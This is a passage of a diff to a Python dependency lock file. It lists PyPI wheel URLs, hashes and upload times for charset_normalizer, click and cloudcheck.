"sha256:64b55f9dce520635f018f907ff1b0df1fdc31f2795a922fb49dd14fbcdf48c84", size = 163663, upload-time = "2025-10-14T04:40:24.17Z" }, + { url = "https://files.pythonhosted.org/packages/ed/09/c9e38fc8fa9e0849b172b581fd9803bdf6e694041127933934184e19f8c3/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:faa3a41b2b66b6e50f84ae4a68c64fcd0c44355741c6374813a800cd6695db9e", size = 151964, upload-time = "2025-10-14T04:40:25.368Z" }, + { url = "https://files.pythonhosted.org/packages/d2/d1/d28b747e512d0da79d8b6a1ac18b7ab2ecfd81b2944c4c710e166d8dd09c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6515f3182dbe4ea06ced2d9e8666d97b46ef4c75e326b79bb624110f122551db", size = 161064, upload-time = "2025-10-14T04:40:26.806Z" }, + { url = "https://files.pythonhosted.org/packages/bb/9a/31d62b611d901c3b9e5500c36aab0ff5eb442043fb3a1c254200d3d397d9/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cc00f04ed596e9dc0da42ed17ac5e596c6ccba999ba6bd92b0e0aef2f170f2d6", size = 155015, upload-time = "2025-10-14T04:40:28.284Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f3/107e008fa2bff0c8b9319584174418e5e5285fef32f79d8ee6a430d0039c/charset_normalizer-3.4.4-cp310-cp310-win32.whl", hash = "sha256:f34be2938726fc13801220747472850852fe6b1ea75869a048d6f896838c896f", size = 99792, upload-time = "2025-10-14T04:40:29.613Z" }, + { url = "https://files.pythonhosted.org/packages/eb/66/e396e8a408843337d7315bab30dbf106c38966f1819f123257f5520f8a96/charset_normalizer-3.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:a61900df84c667873b292c3de315a786dd8dac506704dea57bc957bd31e22c7d", size = 107198, upload-time = "2025-10-14T04:40:30.644Z" }, + { url = "https://files.pythonhosted.org/packages/b5/58/01b4f815bf0312704c267f2ccb6e5d42bcc7752340cd487bc9f8c3710597/charset_normalizer-3.4.4-cp310-cp310-win_arm64.whl", hash = "sha256:cead0978fc57397645f12578bfd2d5ea9138ea0fac82b2f63f7f7c6877986a69", size = 100262, upload-time = "2025-10-14T04:40:32.108Z" }, + { url = "https://files.pythonhosted.org/packages/ed/27/c6491ff4954e58a10f69ad90aca8a1b6fe9c5d3c6f380907af3c37435b59/charset_normalizer-3.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6e1fcf0720908f200cd21aa4e6750a48ff6ce4afe7ff5a79a90d5ed8a08296f8", size = 206988, upload-time = "2025-10-14T04:40:33.79Z" }, + { url = "https://files.pythonhosted.org/packages/94/59/2e87300fe67ab820b5428580a53cad894272dbb97f38a7a814a2a1ac1011/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f819d5fe9234f9f82d75bdfa9aef3a3d72c4d24a6e57aeaebba32a704553aa0", size = 147324, upload-time = "2025-10-14T04:40:34.961Z" }, + { url = "https://files.pythonhosted.org/packages/07/fb/0cf61dc84b2b088391830f6274cb57c82e4da8bbc2efeac8c025edb88772/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a59cb51917aa591b1c4e6a43c132f0cdc3c76dbad6155df4e28ee626cc77a0a3", size = 142742, upload-time = "2025-10-14T04:40:36.105Z" }, + { url = "https://files.pythonhosted.org/packages/62/8b/171935adf2312cd745d290ed93cf16cf0dfe320863ab7cbeeae1dcd6535f/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ef3c867360f88ac904fd3f5e1f902f13307af9052646963ee08ff4f131adafc", size = 160863, upload-time = "2025-10-14T04:40:37.188Z" }, + { url = "https://files.pythonhosted.org/packages/09/73/ad875b192bda14f2173bfc1bc9a55e009808484a4b256748d931b6948442/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d9e45d7faa48ee908174d8fe84854479ef838fc6a705c9315372eacbc2f02897", size = 157837, upload-time = "2025-10-14T04:40:38.435Z" }, + { url = "https://files.pythonhosted.org/packages/6d/fc/de9cce525b2c5b94b47c70a4b4fb19f871b24995c728e957ee68ab1671ea/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:840c25fb618a231545cbab0564a799f101b63b9901f2569faecd6b222ac72381", size = 151550, upload-time = "2025-10-14T04:40:40.053Z" }, + { url = "https://files.pythonhosted.org/packages/55/c2/43edd615fdfba8c6f2dfbd459b25a6b3b551f24ea21981e23fb768503ce1/charset_normalizer-3.4.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ca5862d5b3928c4940729dacc329aa9102900382fea192fc5e52eb69d6093815", size = 149162, upload-time = "2025-10-14T04:40:41.163Z" }, + { url = "https://files.pythonhosted.org/packages/03/86/bde4ad8b4d0e9429a4e82c1e8f5c659993a9a863ad62c7df05cf7b678d75/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d9c7f57c3d666a53421049053eaacdd14bbd0a528e2186fcb2e672effd053bb0", size = 150019, upload-time = "2025-10-14T04:40:42.276Z" }, + { url = "https://files.pythonhosted.org/packages/1f/86/a151eb2af293a7e7bac3a739b81072585ce36ccfb4493039f49f1d3cae8c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:277e970e750505ed74c832b4bf75dac7476262ee2a013f5574dd49075879e161", size = 143310, upload-time = "2025-10-14T04:40:43.439Z" }, + { url = "https://files.pythonhosted.org/packages/b5/fe/43dae6144a7e07b87478fdfc4dbe9efd5defb0e7ec29f5f58a55aeef7bf7/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:31fd66405eaf47bb62e8cd575dc621c56c668f27d46a61d975a249930dd5e2a4", size = 162022, upload-time = "2025-10-14T04:40:44.547Z" }, + { url = "https://files.pythonhosted.org/packages/80/e6/7aab83774f5d2bca81f42ac58d04caf44f0cc2b65fc6db2b3b2e8a05f3b3/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:0d3d8f15c07f86e9ff82319b3d9ef6f4bf907608f53fe9d92b28ea9ae3d1fd89", size = 149383, upload-time = "2025-10-14T04:40:46.018Z" }, + { url = "https://files.pythonhosted.org/packages/4f/e8/b289173b4edae05c0dde07f69f8db476a0b511eac556dfe0d6bda3c43384/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9f7fcd74d410a36883701fafa2482a6af2ff5ba96b9a620e9e0721e28ead5569", size = 159098, upload-time = "2025-10-14T04:40:47.081Z" }, + { url = "https://files.pythonhosted.org/packages/d8/df/fe699727754cae3f8478493c7f45f777b17c3ef0600e28abfec8619eb49c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ebf3e58c7ec8a8bed6d66a75d7fb37b55e5015b03ceae72a8e7c74495551e224", size = 152991, upload-time = "2025-10-14T04:40:48.246Z" }, + { url = "https://files.pythonhosted.org/packages/1a/86/584869fe4ddb6ffa3bd9f491b87a01568797fb9bd8933f557dba9771beaf/charset_normalizer-3.4.4-cp311-cp311-win32.whl", hash = "sha256:eecbc200c7fd5ddb9a7f16c7decb07b566c29fa2161a16cf67b8d068bd21690a", size = 99456, upload-time = "2025-10-14T04:40:49.376Z" }, + { url = "https://files.pythonhosted.org/packages/65/f6/62fdd5feb60530f50f7e38b4f6a1d5203f4d16ff4f9f0952962c044e919a/charset_normalizer-3.4.4-cp311-cp311-win_amd64.whl", hash = "sha256:5ae497466c7901d54b639cf42d5b8c1b6a4fead55215500d2f486d34db48d016", size = 106978, upload-time = "2025-10-14T04:40:50.844Z" }, + { url = "https://files.pythonhosted.org/packages/7a/9d/0710916e6c82948b3be62d9d398cb4fcf4e97b56d6a6aeccd66c4b2f2bd5/charset_normalizer-3.4.4-cp311-cp311-win_arm64.whl", hash = "sha256:65e2befcd84bc6f37095f5961e68a6f077bf44946771354a28ad434c2cce0ae1", size = 99969, upload-time = "2025-10-14T04:40:52.272Z" }, + { url = "https://files.pythonhosted.org/packages/f3/85/1637cd4af66fa687396e757dec650f28025f2a2f5a5531a3208dc0ec43f2/charset_normalizer-3.4.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0a98e6759f854bd25a58a73fa88833fba3b7c491169f86ce1180c948ab3fd394", size = 208425, upload-time = "2025-10-14T04:40:53.353Z" }, + { url = "https://files.pythonhosted.org/packages/9d/6a/04130023fef2a0d9c62d0bae2649b69f7b7d8d24ea5536feef50551029df/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b5b290ccc2a263e8d185130284f8501e3e36c5e02750fc6b6bdeb2e9e96f1e25", size = 148162, upload-time = "2025-10-14T04:40:54.558Z" }, + { url = "https://files.pythonhosted.org/packages/78/29/62328d79aa60da22c9e0b9a66539feae06ca0f5a4171ac4f7dc285b83688/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74bb723680f9f7a6234dcf67aea57e708ec1fbdf5699fb91dfd6f511b0a320ef", size = 144558, upload-time = "2025-10-14T04:40:55.677Z" }, + { url = "https://files.pythonhosted.org/packages/86/bb/b32194a4bf15b88403537c2e120b817c61cd4ecffa9b6876e941c3ee38fe/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f1e34719c6ed0b92f418c7c780480b26b5d9c50349e9a9af7d76bf757530350d", size = 161497, upload-time = "2025-10-14T04:40:57.217Z" }, + { url = "https://files.pythonhosted.org/packages/19/89/a54c82b253d5b9b111dc74aca196ba5ccfcca8242d0fb64146d4d3183ff1/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2437418e20515acec67d86e12bf70056a33abdacb5cb1655042f6538d6b085a8", size = 159240, upload-time = "2025-10-14T04:40:58.358Z" }, + { url = "https://files.pythonhosted.org/packages/c0/10/d20b513afe03acc89ec33948320a5544d31f21b05368436d580dec4e234d/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:11d694519d7f29d6cd09f6ac70028dba10f92f6cdd059096db198c283794ac86", size = 153471, upload-time = "2025-10-14T04:40:59.468Z" }, + { url = "https://files.pythonhosted.org/packages/61/fa/fbf177b55bdd727010f9c0a3c49eefa1d10f960e5f09d1d887bf93c2e698/charset_normalizer-3.4.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ac1c4a689edcc530fc9d9aa11f5774b9e2f33f9a0c6a57864e90908f5208d30a", size = 150864, upload-time = "2025-10-14T04:41:00.623Z" }, + { url = "https://files.pythonhosted.org/packages/05/12/9fbc6a4d39c0198adeebbde20b619790e9236557ca59fc40e0e3cebe6f40/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:21d142cc6c0ec30d2efee5068ca36c128a30b0f2c53c1c07bd78cb6bc1d3be5f", size = 150647, upload-time = "2025-10-14T04:41:01.754Z" }, + { url = "https://files.pythonhosted.org/packages/ad/1f/6a9a593d52e3e8c5d2b167daf8c6b968808efb57ef4c210acb907c365bc4/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5dbe56a36425d26d6cfb40ce79c314a2e4dd6211d51d6d2191c00bed34f354cc", size = 145110, upload-time = "2025-10-14T04:41:03.231Z" }, + { url = "https://files.pythonhosted.org/packages/30/42/9a52c609e72471b0fc54386dc63c3781a387bb4fe61c20231a4ebcd58bdd/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:5bfbb1b9acf3334612667b61bd3002196fe2a1eb4dd74d247e0f2a4d50ec9bbf", size = 162839, upload-time = "2025-10-14T04:41:04.715Z" }, + { url = "https://files.pythonhosted.org/packages/c4/5b/c0682bbf9f11597073052628ddd38344a3d673fda35a36773f7d19344b23/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:d055ec1e26e441f6187acf818b73564e6e6282709e9bcb5b63f5b23068356a15", size = 150667, upload-time = "2025-10-14T04:41:05.827Z" }, + { url = "https://files.pythonhosted.org/packages/e4/24/a41afeab6f990cf2daf6cb8c67419b63b48cf518e4f56022230840c9bfb2/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:af2d8c67d8e573d6de5bc30cdb27e9b95e49115cd9baad5ddbd1a6207aaa82a9", size = 160535, upload-time = "2025-10-14T04:41:06.938Z" }, + { url = "https://files.pythonhosted.org/packages/2a/e5/6a4ce77ed243c4a50a1fecca6aaaab419628c818a49434be428fe24c9957/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:780236ac706e66881f3b7f2f32dfe90507a09e67d1d454c762cf642e6e1586e0", size = 154816, upload-time = "2025-10-14T04:41:08.101Z" }, + { url = "https://files.pythonhosted.org/packages/a8/ef/89297262b8092b312d29cdb2517cb1237e51db8ecef2e9af5edbe7b683b1/charset_normalizer-3.4.4-cp312-cp312-win32.whl", hash = "sha256:5833d2c39d8896e4e19b689ffc198f08ea58116bee26dea51e362ecc7cd3ed26", size = 99694, upload-time = "2025-10-14T04:41:09.23Z" }, + { url = "https://files.pythonhosted.org/packages/3d/2d/1e5ed9dd3b3803994c155cd9aacb60c82c331bad84daf75bcb9c91b3295e/charset_normalizer-3.4.4-cp312-cp312-win_amd64.whl", hash = "sha256:a79cfe37875f822425b89a82333404539ae63dbdddf97f84dcbc3d339aae9525", size = 107131, upload-time = "2025-10-14T04:41:10.467Z" }, + { url = "https://files.pythonhosted.org/packages/d0/d9/0ed4c7098a861482a7b6a95603edce4c0d9db2311af23da1fb2b75ec26fc/charset_normalizer-3.4.4-cp312-cp312-win_arm64.whl", hash = "sha256:376bec83a63b8021bb5c8ea75e21c4ccb86e7e45ca4eb81146091b56599b80c3", size = 100390, upload-time = "2025-10-14T04:41:11.915Z" }, + { url = "https://files.pythonhosted.org/packages/97/45/4b3a1239bbacd321068ea6e7ac28875b03ab8bc0aa0966452db17cd36714/charset_normalizer-3.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e1f185f86a6f3403aa2420e815904c67b2f9ebc443f045edd0de921108345794", size = 208091, upload-time = "2025-10-14T04:41:13.346Z" }, + { url = "https://files.pythonhosted.org/packages/7d/62/73a6d7450829655a35bb88a88fca7d736f9882a27eacdca2c6d505b57e2e/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b39f987ae8ccdf0d2642338faf2abb1862340facc796048b604ef14919e55ed", size = 147936, upload-time = "2025-10-14T04:41:14.461Z" }, + { url = "https://files.pythonhosted.org/packages/89/c5/adb8c8b3d6625bef6d88b251bbb0d95f8205831b987631ab0c8bb5d937c2/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3162d5d8ce1bb98dd51af660f2121c55d0fa541b46dff7bb9b9f86ea1d87de72", size = 144180, upload-time = "2025-10-14T04:41:15.588Z" }, + { url = "https://files.pythonhosted.org/packages/91/ed/9706e4070682d1cc219050b6048bfd293ccf67b3d4f5a4f39207453d4b99/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:81d5eb2a312700f4ecaa977a8235b634ce853200e828fbadf3a9c50bab278328", size = 161346, upload-time = "2025-10-14T04:41:16.738Z" }, + { url = "https://files.pythonhosted.org/packages/d5/0d/031f0d95e4972901a2f6f09ef055751805ff541511dc1252ba3ca1f80cf5/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5bd2293095d766545ec1a8f612559f6b40abc0eb18bb2f5d1171872d34036ede", size = 158874, upload-time = "2025-10-14T04:41:17.923Z" }, + { url = "https://files.pythonhosted.org/packages/f5/83/6ab5883f57c9c801ce5e5677242328aa45592be8a00644310a008d04f922/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8a8b89589086a25749f471e6a900d3f662d1d3b6e2e59dcecf787b1cc3a1894", size = 153076, upload-time = "2025-10-14T04:41:19.106Z" }, + { url = "https://files.pythonhosted.org/packages/75/1e/5ff781ddf5260e387d6419959ee89ef13878229732732ee73cdae01800f2/charset_normalizer-3.4.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc7637e2f80d8530ee4a78e878bce464f70087ce73cf7c1caf142416923b98f1", size = 150601, upload-time = "2025-10-14T04:41:20.245Z" }, + { url = "https://files.pythonhosted.org/packages/d7/57/71be810965493d3510a6ca79b90c19e48696fb1ff964da319334b12677f0/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f8bf04158c6b607d747e93949aa60618b61312fe647a6369f88ce2ff16043490", size = 150376, upload-time = "2025-10-14T04:41:21.398Z" }, + { url = "https://files.pythonhosted.org/packages/e5/d5/c3d057a78c181d007014feb7e9f2e65905a6c4ef182c0ddf0de2924edd65/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:554af85e960429cf30784dd47447d5125aaa3b99a6f0683589dbd27e2f45da44", size = 144825, upload-time = "2025-10-14T04:41:22.583Z" }, + { url = "https://files.pythonhosted.org/packages/e6/8c/d0406294828d4976f275ffbe66f00266c4b3136b7506941d87c00cab5272/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:74018750915ee7ad843a774364e13a3db91682f26142baddf775342c3f5b1133", size = 162583, upload-time = "2025-10-14T04:41:23.754Z" }, + { url = "https://files.pythonhosted.org/packages/d7/24/e2aa1f18c8f15c4c0e932d9287b8609dd30ad56dbe41d926bd846e22fb8d/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c0463276121fdee9c49b98908b3a89c39be45d86d1dbaa22957e38f6321d4ce3", size = 150366, upload-time = "2025-10-14T04:41:25.27Z" }, + { url = "https://files.pythonhosted.org/packages/e4/5b/1e6160c7739aad1e2df054300cc618b06bf784a7a164b0f238360721ab86/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:362d61fd13843997c1c446760ef36f240cf81d3ebf74ac62652aebaf7838561e", size = 160300, upload-time = "2025-10-14T04:41:26.725Z" }, + { url = "https://files.pythonhosted.org/packages/7a/10/f882167cd207fbdd743e55534d5d9620e095089d176d55cb22d5322f2afd/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9a26f18905b8dd5d685d6d07b0cdf98a79f3c7a918906af7cc143ea2e164c8bc", size = 154465, upload-time = "2025-10-14T04:41:28.322Z" }, + { url = "https://files.pythonhosted.org/packages/89/66/c7a9e1b7429be72123441bfdbaf2bc13faab3f90b933f664db506dea5915/charset_normalizer-3.4.4-cp313-cp313-win32.whl", hash = "sha256:9b35f4c90079ff2e2edc5b26c0c77925e5d2d255c42c74fdb70fb49b172726ac", size = 99404, upload-time = "2025-10-14T04:41:29.95Z" }, + { url = "https://files.pythonhosted.org/packages/c4/26/b9924fa27db384bdcd97ab83b4f0a8058d96ad9626ead570674d5e737d90/charset_normalizer-3.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:b435cba5f4f750aa6c0a0d92c541fb79f69a387c91e61f1795227e4ed9cece14", size = 107092, upload-time = "2025-10-14T04:41:31.188Z" }, + { url = "https://files.pythonhosted.org/packages/af/8f/3ed4bfa0c0c72a7ca17f0380cd9e4dd842b09f664e780c13cff1dcf2ef1b/charset_normalizer-3.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:542d2cee80be6f80247095cc36c418f7bddd14f4a6de45af91dfad36d817bba2", size = 100408, upload-time = "2025-10-14T04:41:32.624Z" }, + { url = "https://files.pythonhosted.org/packages/2a/35/7051599bd493e62411d6ede36fd5af83a38f37c4767b92884df7301db25d/charset_normalizer-3.4.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:da3326d9e65ef63a817ecbcc0df6e94463713b754fe293eaa03da99befb9a5bd", size = 207746, upload-time = "2025-10-14T04:41:33.773Z" }, + { url = "https://files.pythonhosted.org/packages/10/9a/97c8d48ef10d6cd4fcead2415523221624bf58bcf68a802721a6bc807c8f/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8af65f14dc14a79b924524b1e7fffe304517b2bff5a58bf64f30b98bbc5079eb", size = 147889, upload-time = "2025-10-14T04:41:34.897Z" }, + { url = "https://files.pythonhosted.org/packages/10/bf/979224a919a1b606c82bd2c5fa49b5c6d5727aa47b4312bb27b1734f53cd/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74664978bb272435107de04e36db5a9735e78232b85b77d45cfb38f758efd33e", size = 143641, upload-time = "2025-10-14T04:41:36.116Z" }, + { url = "https://files.pythonhosted.org/packages/ba/33/0ad65587441fc730dc7bd90e9716b30b4702dc7b617e6ba4997dc8651495/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:752944c7ffbfdd10c074dc58ec2d5a8a4cd9493b314d367c14d24c17684ddd14", size = 160779, upload-time = "2025-10-14T04:41:37.229Z" }, + { url = "https://files.pythonhosted.org/packages/67/ed/331d6b249259ee71ddea93f6f2f0a56cfebd46938bde6fcc6f7b9a3d0e09/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d1f13550535ad8cff21b8d757a3257963e951d96e20ec82ab44bc64aeb62a191", size = 159035, upload-time = "2025-10-14T04:41:38.368Z" }, + { url = "https://files.pythonhosted.org/packages/67/ff/f6b948ca32e4f2a4576aa129d8bed61f2e0543bf9f5f2b7fc3758ed005c9/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ecaae4149d99b1c9e7b88bb03e3221956f68fd6d50be2ef061b2381b61d20838", size = 152542, upload-time = "2025-10-14T04:41:39.862Z" }, + { url = "https://files.pythonhosted.org/packages/16/85/276033dcbcc369eb176594de22728541a925b2632f9716428c851b149e83/charset_normalizer-3.4.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cb6254dc36b47a990e59e1068afacdcd02958bdcce30bb50cc1700a8b9d624a6", size = 149524, upload-time = "2025-10-14T04:41:41.319Z" }, + { url = "https://files.pythonhosted.org/packages/9e/f2/6a2a1f722b6aba37050e626530a46a68f74e63683947a8acff92569f979a/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c8ae8a0f02f57a6e61203a31428fa1d677cbe50c93622b4149d5c0f319c1d19e", size = 150395, upload-time = "2025-10-14T04:41:42.539Z" }, + { url = "https://files.pythonhosted.org/packages/60/bb/2186cb2f2bbaea6338cad15ce23a67f9b0672929744381e28b0592676824/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:47cc91b2f4dd2833fddaedd2893006b0106129d4b94fdb6af1f4ce5a9965577c", size = 143680, upload-time = "2025-10-14T04:41:43.661Z" }, + { url = "https://files.pythonhosted.org/packages/7d/a5/bf6f13b772fbb2a90360eb620d52ed8f796f3c5caee8398c3b2eb7b1c60d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:82004af6c302b5d3ab2cfc4cc5f29db16123b1a8417f2e25f9066f91d4411090", size = 162045, upload-time = "2025-10-14T04:41:44.821Z" }, + { url = "https://files.pythonhosted.org/packages/df/c5/d1be898bf0dc3ef9030c3825e5d3b83f2c528d207d246cbabe245966808d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b7d8f6c26245217bd2ad053761201e9f9680f8ce52f0fcd8d0755aeae5b2152", size = 149687, upload-time = "2025-10-14T04:41:46.442Z" }, + { url = "https://files.pythonhosted.org/packages/a5/42/90c1f7b9341eef50c8a1cb3f098ac43b0508413f33affd762855f67a410e/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:799a7a5e4fb2d5898c60b640fd4981d6a25f1c11790935a44ce38c54e985f828", size = 160014, upload-time = "2025-10-14T04:41:47.631Z" }, + { url = "https://files.pythonhosted.org/packages/76/be/4d3ee471e8145d12795ab655ece37baed0929462a86e72372fd25859047c/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:99ae2cffebb06e6c22bdc25801d7b30f503cc87dbd283479e7b606f70aff57ec", size = 154044, upload-time = "2025-10-14T04:41:48.81Z" }, + { url = "https://files.pythonhosted.org/packages/b0/6f/8f7af07237c34a1defe7defc565a9bc1807762f672c0fde711a4b22bf9c0/charset_normalizer-3.4.4-cp314-cp314-win32.whl", hash = "sha256:f9d332f8c2a2fcbffe1378594431458ddbef721c1769d78e2cbc06280d8155f9", size = 99940, upload-time = "2025-10-14T04:41:49.946Z" }, + { url = "https://files.pythonhosted.org/packages/4b/51/8ade005e5ca5b0d80fb4aff72a3775b325bdc3d27408c8113811a7cbe640/charset_normalizer-3.4.4-cp314-cp314-win_amd64.whl", hash = "sha256:8a6562c3700cce886c5be75ade4a5db4214fda19fede41d9792d100288d8f94c", size = 107104, upload-time = "2025-10-14T04:41:51.051Z" }, + { url = "https://files.pythonhosted.org/packages/da/5f/6b8f83a55bb8278772c5ae54a577f3099025f9ade59d0136ac24a0df4bde/charset_normalizer-3.4.4-cp314-cp314-win_arm64.whl", hash = "sha256:de00632ca48df9daf77a2c65a484531649261ec9f25489917f09e455cb09ddb2", size = 100743, upload-time = "2025-10-14T04:41:52.122Z" }, + { url = "https://files.pythonhosted.org/packages/0a/4c/925909008ed5a988ccbb72dcc897407e5d6d3bd72410d69e051fc0c14647/charset_normalizer-3.4.4-py3-none-any.whl", hash = "sha256:7a32c560861a02ff789ad905a2fe94e3f840803362c84fecf1851cb4cf3dc37f", size = 53402, upload-time = "2025-10-14T04:42:31.76Z" }, +] + +[[package]] +name = "click" +version = "8.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3d/fa/656b739db8587d7b5dfa22e22ed02566950fbfbcdc20311993483657a5c0/click-8.3.1.tar.gz", hash = "sha256:12ff4785d337a1bb490bb7e9c2b1ee5da3112e94a8622f26a6c77f5d2fc6842a", size = 295065, upload-time = "2025-11-15T20:45:42.706Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/98/78/01c019cdb5d6498122777c1a43056ebb3ebfeef2076d9d026bfe15583b2b/click-8.3.1-py3-none-any.whl", hash = "sha256:981153a64e25f12d547d3426c367a4857371575ee7ad18df2a6183ab0545b2a6", size = 108274, upload-time = "2025-11-15T20:45:41.139Z" }, +] + +[[package]] +name = "cloudcheck" +version = "9.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1e/c2/44eaf6fedaa57acc2c1581080366ef14c850942dd134e89233cc86fbae2e/cloudcheck-9.3.0.tar.gz", hash = "sha256:e4f92690f84b176395d01a0694263d8edb0f8fd3a63100757376b7810879e6f5", size = 4428042, upload-time = "2026-02-03T17:19:12.12Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/36/9e/84925a7ab1041bb7d2d26ce53fad2b289cec2d2533f0fd58be2c1ee0b43e/cloudcheck-9.3.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59199ed17b14ca87220ad4b13ca38999a36826a63fc3a86f6274289c3247bddb", size = 4168371, upload-time = "2026-02-03T17:34:56.274Z" }, + { url = "https://files.pythonhosted.org/packages/19/88/33cf4ec8c27c482ee5513f415d559d98db6bc8df3016281164bee620aa35/cloudcheck-9.3.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5e9f3b13eafafde34be9f1ca2aca897f6bbaf955c04144e42c3877228b3569f3", size = 3521015, upload-time = "2026-02-03T17:35:12.938Z" }, + { url = "https://files.pythonhosted.org/packages/dc/cf/eb2ef322dd900e7aed339cad46ca36c70037561801adc211f1848eadb13e/cloudcheck-9.3.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = 